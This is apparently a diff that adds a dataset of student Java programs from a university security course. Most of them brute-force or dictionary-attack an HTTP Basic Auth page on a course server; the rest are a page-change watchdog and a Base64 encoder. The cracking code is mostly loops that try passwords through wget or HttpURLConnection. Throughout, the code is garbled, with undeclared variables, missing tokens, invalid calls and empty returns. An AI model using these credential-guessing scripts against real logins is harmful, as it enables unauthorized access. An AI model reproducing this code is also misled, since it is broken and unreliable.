+        System.out.print(user.concat(""-""));
+        System.out.println(currentPassword);
+        return new PasswordAuthentication (user, currentPassword);
+      }
+    }
+}
+"
+171.java,"
+
+
+
+import java.io.*;
+import java.net.*;
+import java.*;
+import java.util.*;
+
+public class DictionaryAttack
+{
+	public static void main ( String args[])
+	{
+		
+		String function,pass,temp1;
+		int count =0;
+		
+		try{
+				
+		FileReader fr = new FileReader(""words.txt"");
+		BufferedReader bfread = new BufferedReader(fr);
+
+		Runtime rtime = Runtime.getRuntime();
+		Process prs = null;	
+
+
+		while(( bf = bfread.readLine()) != null)
+		{
+		    
+				
+				if( f.length() < 4 )
+				{
+					System.out.println(+ "" The Attack Number =====>"" + count++ );
+		        		pass = f;
+				
+					function =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/"";
+					prs = rtime.exec(function);
+				        
+					InputStreamReader  stre = new InputStreamReader(prs.getErrorStream());
+                       			BufferedReader bread = new BufferedReader(stre);
+					while( (temp1 = bread.readLine())!= null)
+					{
+						System.out.println(temp1);
+						if(temp1.equals(""HTTP request sent, awaiting response... 200 OK""))
+                       				{
+			                              System.out.println(""The password has is:""+pass);
+                        			      System.exit(0);
+                       				}	
+					}
+				}
+				
+			
+		}
+			
+			fr.print();
+			bfread.close();
+	
+			}catch(Exception e){}
+	}
+	
+}			
+"
+207.java,"
+import java.util.*;
+
+
+public class Cracker
+{
+   private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
+   private Vector v;
+
+   public Cracker()
+   {
+      v = new Vector( 52);
+   }
+   public void loadLetters()
+   {
+      int i;
+
+      for( i = 0; i < letters.length; i++)
+      {
+	 String s = new StringBuffer().append( letters[i]).toString();
+         v.add( s);
+      }
+   }
+   public Vector getVictor()
+   {
+      return ;
+   }
+   public void loadPairs()
+   {
+      int i,j;
+
+      for( i = 0; i < letters.length - 1; i++)
+      {
+         for( j = i + 1; j < letters.length; j++)
+         {
+            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
+	    String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
+	    v.add( s1);
+	    v.add( s2);
+	 }
+      }
+      for( i = 0; i < letters.length; i++)
+      {
+         String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
+	 v.add( s3);
+      }
+   }
+   public void loadTriples()
+   {
+      int i, j, k;
+      
+      for( i = 0; i < letters.length; i++)
+      {
+         String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
+	 v.add( s4);
+      }
+      for( i = 0; i < letters.length - 1; i++)
+      {
+         for( j = i + 1; j < letters.length; j++)
+	 {
+	    String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
+	    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
+	    String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
+	    String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
+	    String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
+	    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
+	    v.add( s5);
+	    v.add( s6);
+	    v.add( s7);
+	    v.add( s8);
+	    v.add( s9);
+	    v.add( s10);
+	 }
+      }
+      for( i = 0; i < letters.length - 2; i++)
+      {
+         for( j = i + 1; j < letters.length - 1; j++)
+	 {
+	    for( k = i + 2; k < letters.length; k++)
+	    {
+	       String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
+	       String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
+	       String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
+	       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
+	       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
+	       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
+	       v.add( s11);
+	       v.add( s12);
+	       v.add( s13);
+	       v.add( s14);
+	       v.add( s15);
+	       v.add( s16);
+	    }
+	 }
+      }
+   }
+         
+   public static void main( String[] args)
+   {
+      Cracker cr = new Cracker();
+      cr.loadLetters();
+      cr.loadPairs();
+      cr.loadTriples();
+      System.out.println("" far ""+cr.getVictor().size()+"" elements loaded"");
+   }
+}
+      
+"
+173.java,"
+
+
+
+
+
+import java.util.*;
+import java.io.*;
+import java.net.*;
+
+public class Watchdog extends TimerTask
+{
+	public void run()
+	{
+		Runtime t = Runtime.getRuntime();
+	  	Process pr= null;
+	  	String Fmd5,Smd5,temp1;
+	  	int index;
+          
+	 	try
+          	{
+		    
+		    pr = t.exec(""md5sum csfirst.html"");
+
+                    InputStreamReader stre = new InputStreamReader(pr.getInputStream());
+                    BufferedReader bread = new BufferedReader(stre);
+		    
+		    s = bread.readLine();
+		    index = s.indexOf(' ');
+		    Fmd5 = s.substring(0,index);
+		    System.out.println(Fmd5);
+		    
+		    pr = null;
+		    
+		    pr = t.exec(""wget http://www.cs.rmit.edu./students/"");
+		    pr = null;
+		    
+		    pr = t.exec(""md5sum index.html"");
+		    
+
+		    InputStreamReader stre1 = new InputStreamReader(pr.getInputStream());
+                    BufferedReader bread1 = new BufferedReader(stre1);
+		    
+		    temp1 = bread1.readLine();
+		    index = temp1.indexOf(' ');
+		    Smd5 = temp1.substring(0,index);
+		    System.out.println(Smd5);
+		
+		    pr = null;
+		
+		    if(Fmd5 == Smd5)
+		       System.out.println(""  changes Detected"");
+		    else
+		    {
+		       pr = t.exec(""diff csfirst.html index.html > report.html"");
+		       pr = null;
+		       
+		       try{
+		       Thread.sleep(10000);
+		       }catch(Exception e){}
+		       
+		       pr = t.exec("" Message.txt | mutt -s Chnages  Webpage -a report.html -x @yallara.cs.rmit.edu."");
+		     
+		       
+		       
+		    }   
+		    
+    	        }catch(java.io.IOException e){}
+	}
+}		
+"
+147.java,"import java.net.*;
+import java.io.*;
+import java.util.*;
+
+public class Dictionary {
+
+   public static void main(String[] args) {
+      new CrackAttempt();
+   }
+}
+
+class CrackAttempt {
+   public CrackAttempt() {
+      final int MAX_LENGTH = 3;
+      boolean auth = false;
+      Date  = new Date();
+      String file = ""/usr/share/lib/dict/words"";
+      String word;
+      char[] password = new char[MAX_LENGTH];
+      String resource = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+
+      while (!auth) {
+         
+         BufferedReader in = null;
+         try {
+            
+            in = new BufferedReader(new FileReader(file));
+            while ((word = in.readLine()) != null && !auth) {
+               try {
+                  if (word.length() <= MAX_LENGTH) {
+                     password = word.toCharArray();
+                     
+                     Authenticator.setDefault(new CrackAuth(password));
+                     URL url = new URL(resource);
+                     HttpURLConnection conn = (HttpURLConnection)url.openConnection();
+                     conn.setRequestMethod(""HEAD"");
+                     if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
+                        System.out.println(""cracked with "" + new String(password));
+                        auth = true;
+                     }
+                  }
+               } catch (Exception e) {
+                  System.out.println("" was  exception: "" + e.getMessage());
+               }
+            }
+
+         
+         } catch (FileNotFoundException fnfe) {
+            System.out.println(""File Not Found"");
+         } catch (IOException ioe) {
+            System.out.println(""IOException"");
+         } catch(Exception e) {
+            e.printStackTrace();
+         } finally {
+            try {
+               in.close();
+            } catch (Exception e) {;}
+         }
+
+
+      }
+      if (!auth) {
+         System.out.println(""Unable  determine password"");
+      } else {
+          time = (new Date()).getTime() - start.getTime();
+         System.out.println(""it took "" + String.valueOf(time) + "" milliseconds  crack the password"");
+      }
+   }
+}
+
+class CrackAuth extends Authenticator {
+   char[] password;
+   public CrackAuth(char[] password) {
+      this.password = password;
+   }
+
+   protected PasswordAuthentication getPasswordAuthentication()
+   {
+      String user = """";
+      return new PasswordAuthentication(user, password);
+   }
+}
+"
+155.java,"import java.io.*;
+import java.net.*;
+
+public class Dictionary{
+
+ public static void main( String[] args ){
+ Dictionary dict= new Dictionary();
+ dict.create();
+ }
+
+public void dsf(){
+    String password;
+    String auth_data;
+    String username="""";
+    String server_res_code;
+    String required_server_res_code=""200"";
+    int cntr=0;
+ try{
+    URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+    URLConnection conn=null;
+    String fileName = ""/usr/share/lib/dict/words"";
+    fileName=fileName.trim();
+    FileReader fr = new FileReader(fileName);
+    BufferedReader inputfile = new BufferedReader(fr);
+
+    while( (password=inputfile.readLine()) != null ){
+
+           password = password.trim();
+           
+           auth_data=null;
+           auth_data=username + "":"" + password;
+           auth_data=auth_data.trim();
+           auth_data=getBasicAuthData(auth_data);
+           auth_data=auth_data.trim();
+           conn=url.openConnection();
+           conn.setDoInput (true);
+           conn.setDoOutput(true);
+           conn.setRequestProperty(""GET"", ""/SEC/2/ HTTP/1.1"");
+           conn.setRequestProperty (""Authorization"", auth_data);
+           server_res_code=conn.getHeaderField(0);
+           server_res_code=server_res_code.substring(9,12);
+           server_res_code.trim();
+           cntr++;
+           if( server_res_code.compareTo(required_server_res_code)!=0)
+           System.out.println(cntr + "" . "" + ""PASSWORD SEND : "" + password + ""  SERVER RESPONSE  : "" + server_res_code);
+           else {
+           System.out.println(cntr + "" . "" + ""PASSWORD IS: "" + password + ""  SERVER RESPONSE  : "" + server_res_code);
+           break;}
+
+           }
+
+}
+
+catch( Exception e){
+       System.err.println(e);
+       }
+}
+
+public String getBasicAuthData (String getauthdata)    {
+
+char base64Array [] = {
+      'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+      'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+      'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+      'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
+      'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
+      'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
+      'w', 'x', 'y', 'z', '0', '1', '2', '3',
+      '4', '5', '6', '7', '8', '9', '+', '/' } ;
+
+    String encodedString = """";
+    byte bytes [] = getauthdata.getBytes ();
+    int i = 0;
+    int pad = 0;
+    while (i < bytes.length) {
+      byte b1 = bytes [i++];
+      byte b2;
+      byte b3;
+      if (i >= bytes.length) {
+         b2 = 0;
+         b3 = 0;
+         pad = 2;
+         }
+      else {
+         b2 = bytes [i++];
+         if (i >= bytes.length) {
+            b3 = 0;
+            pad = 1;
+            }
+         else
+            b3 = bytes [i++];
+         }
+      byte c1 = (byte)(b1 >> 2);
+      byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
+      byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
+      byte c4 = (byte)(b3 & 0x3f);
+      encodedString += base64Array [c1];
+      encodedString += base64Array [c2];
+      switch (pad) {
+       case 0:
+         encodedString += base64Array [c3];
+         encodedString += base64Array [c4];
+         break;
+       case 1:
+         encodedString += base64Array [c3];
+         encodedString += ""="";
+         break;
+       case 2:
+         encodedString += ""=="";
+         break;
+       }
+      }
+      return "" "" + encodedString;
+  }
+
+}"
+134.java,"
+
+
+
+
+
+
+import java.*;
+import java.io.*;
+import java.util.*;
+
+public class BruteForce
+{
+
+	public static void main(String[] args)    
+	{
+          Runtime rt = Runtime.getRuntime();
+	  Process pr= null;
+          char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
+	  String pass;
+          char temp[] = {'a','a'};
+          char temp1[] = {'a','a','a'};
+          char temp2[] = {'a'};
+
+	  String f= new String();
+          String resp = new String();
+          int count=0;
+          String success = new String();
+          InputStreamReader  instre;
+          BufferedReader bufread;
+
+
+               for(int k=0;k<52;k++)
+                {
+                 temp2[0]=chars[k];
+                 pass = new String(temp2);              
+                 count++;              
+
+        System.out.println(""The password  tried is------->""+pass+""---and attempt is==""+count);
+          
+              f =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
+
+                 
+	         try
+                  {
+		    pr = rt.exec(f);
+
+                    instre = new InputStreamReader(pr.getErrorStream());
+                                 
+                  
+                    bufread = new BufferedReader(instre);
+
+                    resp = bufread.readLine();
+                    while( (resp = bufread.readLine())!= null)
+			  {
+                          if(resp.equals(""HTTP request sent, awaiting response... 200 OK""))
+                             {
+                              System.out.println(""Eureka!! Eureka!!! The password has been found it is:""+pass+""------ attempt:""+count);
+                              System.exit(0);
+                             }
+			
+                          }
+	 	
+                  }catch(java.io.IOException e){}
+                }
+
+
+
+  
+            for(int j=0;j<52;j++)
+              {
+                for(int k=0;k<52;k++)
+                {
+                 temp[0]=chars[j];
+                 temp[1]=chars[k];
+
+                 pass = new String();              
+                 count++;              
+
+                 System.out.println(""The password  tried is------->""+pass+""---and attempt is==""+count);
+          
+                f =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
+
+                 
+	         try
+                  {
+		    pr = rt.exec(f);
+
+                    instre = new InputStreamReader(pr.getErrorStream());
+                                 
+                  
+                    bufread = new BufferedReader(instre);
+
+                    resp = bufread.readLine();
+                    while( (resp = bufread.readLine())!= null)
+			  {
+                          if(resp.equals(""HTTP request sent, awaiting response... 200 OK""))
+                             {
+                              System.out.println(""Eureka!! Eureka!!! The password has been found it is:""+pass+""------ attempt:""+count);
+                              System.exit(0);
+                             }
+			
+                          }
+	 	
+                  }catch(java.io.IOException e){}
+                 }
+               }
+
+
+     
+         for(int i=0;i<52;i++)
+            for(int j=0;j<52;j++)
+               for(int k=0;k<52;k++)
+                {
+                 temp1[0]=chars[i];
+                 temp1[1]=chars[j];
+                 temp1[2]=chars[k];
+                 pass = new String(temp1);              
+                 count++;              
+
+        System.out.println(""The password  tried is------->""+pass+""---and attempt is==""+count);
+          
+              f =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
+
+                 
+	         try
+                  {
+		    pr = rt.exec(f);
+
+                    instre = new InputStreamReader(pr.getErrorStream());
+                                 
+                  
+                    bufread = new BufferedReader(instre);
+
+                    resp = bufread.readLine();
+                    while( (resp = bufread.readLine())!= null)
+			  {
+                          if(resp.equals(""HTTP request sent, awaiting response... 200 OK""))
+                             {
+                              System.out.println(""Eureka!! Eureka!!! The password has been found it is:""+pass+""------ attempt:""+count);
+                              System.exit(0);
+                             }
+			
+                          }
+	 	
+                  }catch(java.io.IOException e){}
+                }
+	
+		
+	}
+	
+	
+} 
+		
+"
+159.java,"
+
+
+
+ 
+
+
+class BasicAuth {
+
+    public BasicAuth() {}
+
+
+    private static byte[] cvtTable = {
+        (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E',
+        (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J',
+        (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O',
+        (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T',
+        (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y',
+        (byte)'Z',
+        (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e',
+        (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j',
+        (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o',
+        (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t',
+        (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y',
+        (byte)'z',
+        (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4',
+        (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9',
+        (byte)'+', (byte)'/'
+    };
+
+    static String encode(String name,
+                         String passwd) {
+        byte input[] = (name + "":"" + passwd).getBytes();
+        byte[] output = new byte[((input.length / 3) + 1) * 4];
+        int ridx = 0;
+        int chunk = 0;
+
+        for (int i = 0; i < input.length; i += 3) {
+            int left = input.length - i;
+
+
+            if (left > 2) {
+                chunk = (input[i] << 16)|
+                        (input[i + 1] << 8) |
+                         input[i + 2];
+                output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
+                output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
+                output[ridx++] = cvtTable[(chunk&0xFC0)   >> 6];
+                output[ridx++] = cvtTable[(chunk&0x3F)];
+            } else if (left == 2) {
+
+                chunk = (input[i] << 16) |
+                        (input[i + 1] << 8);
+                output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
+                output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
+                output[ridx++] = cvtTable[(chunk&0xFC0)   >> 6];
+                output[ridx++] = '=';
+            } else {
+
+                chunk = input[i] << 16;
+                output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
+                output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
+                output[ridx++] = '=';
+                output[ridx++] = '=';
+            }
+        }
+        return new String(output);
+    }
+}"